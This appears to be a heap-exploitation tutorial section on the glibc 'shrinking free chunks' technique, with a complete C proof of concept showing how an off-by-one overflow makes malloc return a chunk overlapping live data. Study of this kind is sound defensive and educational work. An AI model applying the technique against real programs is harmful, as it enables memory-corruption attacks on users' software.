Shrinking Free Chunks

This attack was described in ‘Glibc Adventures: The Forgotten Chunk‘. It makes use of a single byte heap overflow (commonly found due to the ‘off by one‘. The goal of this attack is to make ‘malloc’ return a chunk that overlaps with an already allocated chunk, currently in use. First 3 consecutive chunks in memory (a, b, c) are allocated and the middle one is freed. The first chunk is overflowed, resulting in an overwrite of the ‘size’ of the middle chunk. The least significant byte to 0 by the attacker. This ‘shrinks’ the chunk in size. Next, two small chunks (b1 and b2) are allocated out of the middle free chunk. The third chunk’s prev_size does not get updated as b + b->size no longer points to c. It, in fact, points to a memory region ‘before’ c. Then, b1 along with the c is freed. c still assumes b to be free (since prev_size didn’t get updated and hence c - c->prev_size still points to b) and consolidates itself with b. This results in a big free chunk starting from b and overlapping with b2. A new malloc returns this big chunk, thereby completing the attack. The following figure sums up the steps:

Summary of shrinking free chunks attack steps

Image Source: https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

Consider this sample code (download the complete version here):

  1. struct chunk_structure {
  2. size_t prev_size;
  3. size_t size;
  4. struct chunk_structure *fd;
  5. struct chunk_structure *bk;
  6. char buf[19]; // padding
  7. };
  8. void *a, *b, *c, *b1, *b2, *big;
  9. struct chunk_structure *b_chunk, *c_chunk;
  10. // Grab three consecutive chunks in memory
  11. a = malloc(0x100); // at 0xfee010
  12. b = malloc(0x200); // at 0xfee120
  13. c = malloc(0x100); // at 0xfee330
  14. b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
  15. c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));
  16. // free b, now there is a large gap between 'a' and 'c' in memory
  17. // b will end up in unsorted bin
  18. free(b);
  19. // Attacker overflows 'a' and overwrites least significant byte of b's size
  20. // with 0x00. This will decrease b's size.
  21. *(char *)&b_chunk->size = 0x00;
  22. // Allocate another chunk
  23. // 'b' will be used to service this chunk.
  24. // c's previous size will not updated. In fact, the update will be done a few
  25. // bytes before c's previous size as b's size has decreased.
  26. // So, b + b->size is behind c.
  27. // c will assume that the previous chunk (c - c->prev_size = b/b1) is free
  28. b1 = malloc(0x80); // at 0xfee120
  29. // Allocate another chunk
  30. // This will come directly after b1
  31. b2 = malloc(0x80); // at 0xfee1b0
  32. strcpy(b2, "victim's data");
  33. // Free b1
  34. free(b1);
  35. // Free c
  36. // This will now consolidate with b/b1 thereby merging b2 within it
  37. // This is because c's prev_in_use bit is still 0 and its previous size
  38. // points to b/b1
  39. free(c);
  40. // Allocate a big chunk to cover b2's memory as well
  41. big = malloc(0x200); // at 0xfee120
  42. memset(big, 0x41, 0x200 - 1);
  43. printf("%s\n", (char *)b2); // Prints AAAAAAAAAAA... !

big now points to the initial b chunk and overlaps with b2. Updating contents of big updates contents of b2, even when both these chunks are never passed to free.

Note that instead of shrinking b, the attacker could also have increased the size of b. This will result in a similar case of overlap. When ‘malloc’ requests another chunk of the increased size, b will be used to service this request. Now c‘s memory will also be part of this new chunk returned.